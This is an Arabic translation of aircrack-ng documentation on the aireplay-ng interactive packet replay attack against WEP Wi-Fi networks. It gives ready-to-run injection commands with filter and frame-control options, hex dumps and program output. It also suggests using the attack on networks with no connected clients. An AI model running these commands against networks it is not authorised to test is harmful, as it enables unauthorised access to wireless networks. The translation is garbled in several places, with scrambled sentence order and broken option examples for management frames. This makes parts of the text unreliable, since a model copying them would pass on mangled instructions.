



إعادة تشغيل الحزم التفاعلية

وصف

يُمكنك هذا الهجوم من اختيار حزمة بيانات مُحددة لإعادة تشغيلها (حقنها). يستطيع الهجوم الحصول على حزم البيانات لإعادة تشغيلها من مصدرين: الأول هو تدفق مباشر لحزم البيانات من بطاقة الشبكة اللاسلكية، والثاني هو ملف pcap. يُعد تنسيق pcap (مُعترقًا به من قبل مُعظم <http://www.tcpdump.org>) القياسي (Packet CAPture)، المرتبط بمكتبة libpcap، أدوات التقاط وتحليل حركة البيانات التجارية والمفتوحة المصدر. تُعد قراءة الملفات ميزةً غالبًا ما يتم تجاهلها في أداة aireplay-ng، حيث تُمكنك من قراءة حزم البيانات من جلسات التقاط أخرى، أو في كثير من الأحيان، تُنشئ هجمات مُختلفة لملفات pcap لإعادة . أداة packetforge-ng استخدامها بسهولة. ومن الاستخدامات الشائعة قراءة ملف يحتوي على حزمة بيانات قمت بإنشائها باستخدام

للاستفادة من خاصية إعادة تشغيل الحزم التفاعلية بنجاح، من المهم فهم آلية تدفق الحزم اللاسلكية بشكل أفضل. لا يمكنك ببساطة التقاط أي حزمة وإعادة تشغيلها، بل يمكن إعادة تشغيل حزم محددة فقط بنجاح. ويعني النجاح في هذه الحالة قبول نقطة الوصول للحزمة، مما يؤدي إلى إنشاء متجه تهيئة جديد (IV)، وهو الهدف الأساسي من هذه العملية.

لتحقيق ذلك، علينا إما اختيار حزمة بيانات من المفترض أن تنجح، أو تعديل حزمة بيانات تم التقاطها لتصبح حزمة بيانات طبيعية. سنتناول الآن هذين المفهومين بمزيد من التفصيل.

لنبدأ بالنظر إلى خصائص الحزمة اللازمة لعملها بشكل طبيعي. تقوم نقاط الوصول دائمًا بإعادة توجيه الحزم المتجهة إلى عنوان MAC المُداع، وهو عنوان MAC من نوع FF:FF:FF:FF:FF:FF. تتميز حزم طلبات ARP بهذه الخاصية. كما يجب أن تكون الحزمة متجهة من جهاز لاسلكي إلى شبكة سلكية، أي أن بت "To DS" (إلى نظام التوزيع) مُفعّل بقيمة 1.

لذا فإن خيارات تصفية aireplay-ng التي نحتاجها لتحديد هذه الحزم هي:

- الخاص بنقطة الوصول التي نهتم بها MAC يختار الحزم التي تحمل عنوان -b 00:14:6C:7E:40:80
- يحدد الحزم ذات وجهة البث -d FF:FF:FF:FF:FF:FF
- يحدد الحزم التي تم ضبط علامة "إلى نظام التوزيع" عليها -t 1

انظر "إعادة تشغيل الحزمة الطبيعية" أدناه للحصول على مثال.

بعد ذلك، سنلقي نظرة على الحزم التي تحتاج إلى معالجة لكي يتم إعادة تشغيلها بنجاح بواسطة نقطة الوصول. والهدف، كما هو الحال دائمًا، هو أن تقوم نقطة الوصول بإعادة بث الحزمة التي تُدخلها وإنشاء متجه تهيئة جديد (IV). على الرغم من بساطة الأمر، فإن معيار الاختيار الوحيد المطلوب هو استخدام "t 1" لاختيار الحزم المتجهة إلى نظام التوزيع (إيثرنت).

- الخاص بنقطة الوصول التي نهتم بها MAC يختار الحزم التي تحمل عنوان -b 00:14:6C:7E:40:80
- يحدد الحزم التي تم ضبط علامة "إلى نظام التوزيع" عليها -t 1

لا يهمنّا عنوان MAC الوجهة، لأننا في هذه الحالة سنعدّل الحزمة المُرسلة. ستؤدي الخيارات التالية إلى جعل الحزمة تبدو كحزمة "طبيعية" كما هو موضح أعلاه. إليك الخيارات المطلوبة:

- على يمين الخيار -p 0841 حقل التحكم في الإطار بحيث تبدو الحزمة وكأنها مُرسلة من عميل لاسلكي إلى نقطة الوصول. اضبط حقل "إلى DS" على 1. **المثال:**
- يُحدد الخيار -c FF:FF:FF:FF:FF:FF عنوان MAC الوجهة ليكون عنوان بث. هذا ضروري لكي يقوم جهاز التوجيه بإعادة إرسال الحزمة، وبالتالي الحصول على متجه التهيئة الجديد (IV).

انظر "إعادة تشغيل الحزمة المعدلة" أدناه للحصول على مثال.

الاستخدام

<اسم الملف> <واجهة إعادة التشغيل> -r <خيارات التصفية> <خيارات إعادة التشغيل> -2 aireplay-ng

أين:

- 2- تعني هجوم إعادة التشغيل التفاعلي
- هنا <خيارات التصفية> موصوفة
- هنا <خيارات إعادة التشغيل> موصوفة
- لقراءة الحزم منه (هذا اختياري) pcap اسم الملف <يستخدم لتحديد ملف> -r
- <واجهة إعادة التشغيل> هي الواجهة اللاسلكية مثل ath0

أمثلة على الاستخدام

إعادة تشغيل الحزمة الطبيعية

في هذا المثال، لا تحتاج إلى إجراء مصادقة وهمية أولاً، لأن عنوان MAC المصدر مرتبط بالفعل بنقطة الوصول. عنوان MAC المصدر مأخوذ من جهاز العميل اللاسلكي الحالي.

تجميع كل شيء معاً:

```
aireplay-ng -2 -b 00:14:6C:7E:40:80 -d FF:FF:FF:FF:FF:FF -t 1 ath0
```

أين:

- 2- تعني إعادة التشغيل التفاعلي
- -b 00:14:6C:7E:40:80 عنوان MAC يختار الحزم التي تحمل عنوان
- -d FF:FF:FF:FF:FF:FF يحدد الحزم ذات وجهة البث
- -t 1 يحدد الحزم التي تم ضبط علامة "إلى نظام التوزيع" عليها
- ath0 هي الواجهة اللاسلكية

عند تشغيل البرنامج، سيبدو كما يلي:

اقرأ 4 حزم...

الحجم: 68، من 0 DS، إلى 1 (WEP) DS:

BSSID = 00:14:6C:7E:40:80
عنوان MAC الوجهة = FF:FF:FF:FF:FF:FF
عنوان MAC المصدر = 00:0F:B5:34:30:30

```
0x0000: 0841 de00 0014 6c7e 4080 000f b534 3030 .A....l~@....400
0x0010: ffff ffff ffff 4045 d16a c800 6f4f ddef .....@Ej.o0..
0x0020: b488 ad7c 9f2a 64f6 ab04 d363 0efe 4162 ...|. *d....c..Ab
0x0030: 8ad9 2f74 16bb abcf 232e 97ee 5e45 754d ../t....#...^EuM
0x0040: 23e0 883e #...>
```

هل تستخدم هذه الحزمة؟ نعم

لاحظ أن الحزمة تطابق معايير الاختيار لدينا. أدخل "y" وسيبدأ الحقن:

حفظ الحزمة المختارة في replay_src-0315-191310.cap
يجب عليك أيضًا تشغيل أداة airodump-ng لالتقاط الردود.

تم إرسال 773 حزمة...

إعادة تشغيل الحزمة المعدلة

في هذا المثال، لا تحتاج إلى إجراء مصادقة وهمية أولاً، لأن عنوان MAC المصدر مرتبط بالفعل بنقطة الوصول. عنوان MAC المصدر مأخوذ من جهاز العميل اللاسلكي الحالي.

تجميع كل شيء معاً:

```
aireplay-ng -2 -b 00:14:6C:7E:40:80 -t 1 -c FF:FF:FF:FF:FF:FF -p 0841 ath0
```

أين:

- 2- تعني إعادة التشغيل التفاعلي
- الخاص بنقطة الوصول التي نهتم بها MAC يحدد الحزم التي تحتوي على عنوان -b 00:14:6C:7E:40:80
- يحدد الحزم التي تم ضبط علامة "إلى نظام التوزيع" عليها 1 -t
- يُحدد الخيار -c FF:FF:FF:FF:FF:FF عنوان MAC الوجهة ليكون عنوان بث. هذا ضروري لكي يقوم جهاز التوجيه بإعادة إرسال الحزمة، وبالتالي الحصول على متجه التهيئة الجديد (IV).
- اضبط على سبيل المثال، يُعَيِّن الخيار -p 0841 حقل التحكم في الإطار بحيث تبدو الحزمة وكأنها مُرسلة من عميل لاسلكي. حقل "إلى DS" على 1.
- هي الواجهة اللاسلكية ath0

ستختلف معدلات توليد متجهات التهيئة (IVs) في الثانية الواحدة بناءً على حجم الحزمة التي تحددتها. كلما صغر حجم الحزمة، زاد معدل التوليد في الثانية. عند تشغيل البرنامج، سيبدو كما يلي:

اقرأ 10 حزم...

الحجم: 124، من 0 DS، إلى (WEP) 1 DS:

```
BSSID = 00:14:6C:7E:40:80
عنوان MAC الوجهة = F4:77:E5:C9:00:40
عنوان MAC المصدر = 00:0F:B5:34:30:30
```

```
0x0000: 0841 2c00 0014 6c7e 4080 000f b534 3030 .A,...l~@....400
0x0010: 0040 f477 e5c9 90c9 3d79 8b00 ce59 2bd7 .@.w....=y...Y+.
0x0020: 96e7 fadf e0de 2e99 c019 4f85 9508 3bcc .....0...;.
0x0030: 8d18 dbd5 92a7 a711 87d8 58d3 02b3 7be7 .....X...{.
0x0040: 8bf1 69c0 c596 3bd1 436a 9598 762c 9d1d ..i....;Cj..v,..
0x0050: 7a57 3f3d e13c dad0 f2d8 0e65 6d66 d913 zW?=<.....emf..
0x0060: 9716 84a0 6f9a 0c68 2b20 7f55 ba9a f825 ....o..h+ U...%
0x0070: bf22 960a 5c7b 3036 290a 89d6.."..\{06}...
```

هل تستخدم هذه الحزمة؟ نعم

أدخل "y" وسيستمر البرنامج:

حفظ الحزمة المختارة في replay_src-0316-162802.cap
يجب عليك أيضاً تشغيل أداة airodump-ng لالتقاط الردود.

تم إرسال 2966 حزمة...

أمثلة أخرى

يمكنك استخدامه، على سبيل المثال، لجعل نقطة الوصول (AP) تعيد بث الحزمة وبالتالي إنشاء متجهات تهيئة جديدة (IVs):

```
aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 ath0
```

أين:

- 2- تعني هجوم إعادة التشغيل التفاعلي
- اضبط على سبيل المثال، يُعَيِّن الخيار -p 0841 حقل التحكم في الإطار بحيث تبدو الحزمة وكأنها مُرسلة من عميل لاسلكي. حقل "إلى DS" على 1.
- يُحدد الخيار -c FF:FF:FF:FF:FF:FF عنوان MAC الوجهة ليكون عنوان بث. هذا ضروري لكي يقوم جهاز التوجيه بإعادة إرسال الحزمة، وبالتالي الحصول على متجه التهيئة الجديد (IV).
- هذا فلتر لاختيار نقطة وصول واحدة. (BSSID) الخاص بنقطة الوصول MAC هو عنوان -b 00:14:6C:7E:40:80
- الخاص ببطاقتك MAC للحزم التي يتم إرسالها ويجب أن يتطابق مع عنوان MAC هو عنوان -h 00:0F:B5:88:AC:82
- هو اسم واجهة الاتصال اللاسلكي ath0

هام: في هذا المثال، نحدد عنوان MAC المصدر للحزم. يجب ربط عنوان MAC هذا بنقطة الوصول إما عبر مصادقة وهمية أو عميل لاسلكي موجود.

ستختلف معدلات توليد متجهات التهيئة (IVs) في الثانية الواحدة بناءً على حجم الحزمة التي تحددتها. كلما صغر حجم الحزمة، زاد معدل التوليد في الثانية. عند تشغيل البرنامج، سيبدو كما يلي:

اقرأ 99 حزمة ...

الحجم: 139، من 1 DS، إلى (WEP) 0 DS:

BSSID = 00:14:6C:7E:40:80
عنوان MAC الوجهة = 01:00:5E:00:00:FB
عنوان MAC المصدر = F4:77:E5:C9:00:40

```
0x0000: 0842 0000 0100 5e00 00fb 0014 6c7e 4080 .B....^.....l~@.
0x0010: 0040 f477 e5c9 5065 917f 0000 e053 b683 .@.w..Pe. ...S..
0x0020: fff3 795e 19a3 3313 b62c c9f3 c373 ef3e ..y^..3.....s.>
0x0030: 87a0 751a 7d20 9e6c 59af 4d53 16d8 773c ..u.} .lY.MS..w<
0x0040: af05 1021 8069 bbc8 06ea 59f3 3912 09a9 ...!.i....Y.9...
0x0050: c36d 1db5 a51e c627 11d1 d18c 2473 fae9 .m.....'....$s..
0x0060: 84c0 7afa 8b84 ebbb e4d2 4763 44ae 69ea ..z.....GcD.i.
0x0070: b65b df63 8893 279b 6ecf 1af8 c889 57f3 .[.c...'.n.....W.
0x0080: fea7 d663 21a6 3329 28c8 8f ...c!.3)(..
```

هل تريد استخدام هذه الحزمة؟

يؤدي الرد بـ "y" إلى إدخال الحزم:

حفظ الحزمة المختارة في replay_src-0303-103920.cap
يجب عليك أيضًا تشغيل أداة airodump-ng لالتقاط الردود.

تم إرسال 4772 حزمة ...

بالإضافة مرشحات حجم الحزم، يمكنك بسهولة استخدام الهجوم الثاني لإعادة إرسال حزم طلبات ARP المشفرة بتقنية WEP يدويًا. عادةً ما تكون حزم ARP إما 68 بايت (من عميل لاسلكي) أو 86 بايت (من عميل سلكي).

aireplay-ng -2 -p 0841 -m 68 -n 86 -b 00:14:6C:7E:40:80 -c FF:FF:FF:FF:FF:FF -h 00:0F:B5:88:AC:82 ath0

أين:

- 2- تعني هجوم إعادة التشغيل التفاعلي
- اضبط على يسيل المثال يُعَيّن الخيار -p 0841 حقل التحكم في الإطار بحيث تبدو الحزمة وكأنها مُرسلة من عميل لاسلكي. حقل "إلى DS" على 1.
- هو الحد الأدنى لطول الحزمة 68 -m
- يمثل -n 86 الحد الأقصى لطول الحزمة
- يُحدد الخيار -c FF:FF:FF:FF:FF:FF عنوان MAC الوجهة ليكون عنوان بث. هذا ضروري لكي يقوم جهاز التوجيه بإعادة إرسال الحزمة، وبالتالي الحصول على متجه التهيئة الجديد (IV).
- هذا فلتر لاختيار نقطة وصول واحدة. (BSSID) الخاص بنقطة الوصول MAC هو عنوان 00:14:6C:7E:40:80 -b
- الخاص ببطاقتك MAC للحزم التي يتم إرسالها ويجب أن يتطابق مع عنوان MAC هو عنوان 00:0F:B5:88:AC:82 -h
- هو اسم واجهة الاتصال اللاسلكي ath0.

هام: في هذا المثال، نحدد عنوان MAC المصدر للحزم. يجب ربط عنوان MAC هذا بنقطة الوصول إما عبر مصادقة وهمية أو عميل لاسلكي موجود.

بمجرد بدء تشغيل البرنامج، سيبدو كما يلي:

اقرأ 145 حزمة ...

الحجم: 86، من 1 DS، إلى (WEP) 0 DS:

BSSID = 00:14:6C:7E:40:80

عنوان MAC الوجهة = FF:FF:FF:FF:FF:FF
عنوان MAC المصدر = F4:77:E5:C9:00:40

```
0x0000: 0842 0000 ffff ffff ffff 0014 6c7e 4080 .B.....l~@.  
0x0010: 0040 f477 e5c9 9075 a09c 0000 d697 eb34 .@.w...u.....4  
0x0020: e880 9a37 8bda d0e7 fdb4 252d d235 313c ...7.....%-.51<  
0x0030: 16ab 784c 5a45 b147 fba2 fe90 ae26 4c9d ..xLZE.G....&L.  
0x0040: 7d77 8b2f 1c70 1d6b 58f7 b3ac 9e7f 7e43 }w./..p.kX....~C  
0x0050: 78ed eeb3 6cc4 x...l.
```

هل تستخدم هذه الحزمة؟ نعم

في هذه المرحلة، أجب بـ "نعم" فقط إذا كان طول الحزمة 68 أو 86 بايت، وإلا فأدخل "لا". الآن يتم إدخال الحزم:

حفظ الحزمة المختارة في replay_src-0303-124624.cap
يجب عليك أيضًا تشغيل أداة airodump-ng لالتقاط الردود.

كما ذكرنا سابقًا، يُمكن استخدام أداة aireplay-ng لإعادة تشغيل الحزم من ملف pcap. لاحظ في المثال السابق أن aireplay-ng أنشأت ملفًا باسم "replay_src-0303-124624.cap". ولا يقتصر استخدامك على الملفات التي أنشأتها aireplay-ng فقط، بل يمكنك استخدام أي ملف pcap من أدوات أخرى مثل airodump-ng و kismet وغيرها.

إليك مثال باستخدام مخرجات المثال السابق:

```
aireplay-ng -2 -p 0841 -b 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 -r replay_src-0303-124624.cap ath0
```

أين:

- 2- تعني هجوم إعادة التشغيل التفاعلي
- اضبط على سبيل المثال، يُعَيّن الخيار -p 0841 حقل التحكم في الإطار بحيث تبدو الحزمة وكأنها مُرسلة من عميل لاسلكي. حقل "إلى DS" على 1.
- الوجهة مضبوطًا على البث MAC تحتوي بالفعل على عنوان ARP ملاحظة: هذا غير مدرج لأن حزمة FF:FF:FF:FF:FF:FF -c
- هذا فلتر لاختيار نقطة وصول واحدة. (BSSID) الخاص بنقطة الوصول MAC هو عنوان 00:14:6C:7E:40:80 -b
- الخاص ببطاقتك MAC للحزم التي يتم إرسالها ويجب أن يتطابق مع عنوان MAC هو عنوان 00:0F:B5:88:AC:82 -h
- هو اسم واجهة الاتصال اللاسلكي ath0

هام: في هذا المثال، نحدد عنوان MAC المصدر للحزم. يجب ربط عنوان MAC هذا بنقطة الوصول إما عبر مصادقة وهمية أو عميل لاسلكي موجود.

يرد البرنامج:

الحجم: 86، من 1 DS، إلى 0 (WEP) DS:

BSSID = 00:14:6C:7E:40:80

عنوان MAC الوجهة = FF:FF:FF:FF:FF:FF
عنوان MAC المصدر = F4:77:E5:C9:00:40

```
0x0000: 0842 0000 ffff ffff ffff 0014 6c7e 4080 .B.....l~@.  
0x0010: 0040 f477 e5c9 9075 a09c 0000 d697 eb34 .@.w...u.....4  
0x0020: e880 9a37 8bda d0e7 fdb4 252d d235 313c ...7.....%-.51<  
0x0030: 16ab 784c 5a45 b147 fba2 fe90 ae26 4c9d ..xLZE.G....&L.  
0x0040: 7d77 8b2f 1c70 1d6b 58f7 b3ac 9e7f 7e43 }w./..p.kX....~C  
0x0050: 78ed eeb3 6cc4 x...l.
```

هل تستخدم هذه الحزمة؟ نعم

ثم تقول "نعم" لاختيار الحزمة. ثم يبدأ الجهاز في إدخال الحزم:

حفظ الحزمة المختارة في replay_src-0303-124624.cap
يجب عليك أيضًا تشغيل أداة airodump-ng لالتقاط الردود.

نهاية الملف.

نصائح الاستخدام

تطبيق تفاعلي إضافي

توجد بعض التطبيقات المثيرة للاهتمام للمثال الأول أعلاه. يمكن استخدامه لمهاجمة الشبكات دون وجود أي عملاء لاسلكيين متصلين. ابدأ هجوم aireplay-ng وفقًا للمثال. الآن، انتظر بث أي حزمة بيانات، بغض النظر عن نوعها. ما عليك سوى كتابة "y" وستحصل على متجهات تهيئة (IVs). لكن هذا الأسلوب يُقلل من السرعة، حيث تُنتج الحزم الكبيرة عددًا أقل من متجهات التهيئة في الثانية. تتمثل الميزة الرئيسية في توفير خطوات الحصول على دفق XOR (هجمات التجزئة أو chopchop)، وبناء حزمة بيانات، وإطلاق هجوم إعادة التوجيه.

هذا الحل يعمل أيضاً على نقاط الوصول المتصلة بالعملاء. سيكون أسرع لأنه لا يتطلب انتظار بروتوكول ARP، فأى حزمة بيانات ستفي بالغرض.

هام: يجب أولاً ربط عنوان MAC المصدر الذي تستخدمه بنقطة الوصول عبر مصادقة وهمية.

إدخال إطارات الإدارة

يمكنك أيضاً إدخال إطارات الإدارة والتحكم على أساس كل إطار على حدة باستخدام aireplay-ng. كل ما عليك فعله هو تحديد عامل تصفية مطابق، لأن عامل التصفية الافتراضي يسمح فقط بحزم بيانات WEP.

أمثلة:

- يتيح لك الإعداد -w 0 -u 8 v إرسال إطارات الإشارات.
- يؤدي تعيين -n 2000 -m 10 -w 0 -u 1 v إلى تعيين مرشح لإطارات التحكم (في هذه الحالة إطارات الإرسال الواضحة).

استكشاف أخطاء الاستخدام وإصلاحها

المشكلة الأكثر شيوعاً هي عدم ارتباطك بنقطة الوصول. إما أن تستخدم عنوان MAC المصدر لعميل مرتبط بالفعل بنقطة الوصول، . مصادقة وهمية أو أن تستخدم

. البرنامج التعليمي "أنا أقوم بالحقن ولكن قيم IVs لا تزداد" راجع

<http://forum.aircrack-ng.org/index.php?topic=194> [http://forum.aircrack-ng.org/index.php?topic=194] إحدى الحالات التي قد تؤثر على إعادة التشغيل التفاعلي: استثناء خيار فصل عملاء الشبكة اللاسلكية -

. استكشاف أخطاء استخدام aireplay-ng وإصلاحها راجع أيضاً الأفكار العامة لاستكشاف أخطاء aireplay-ng: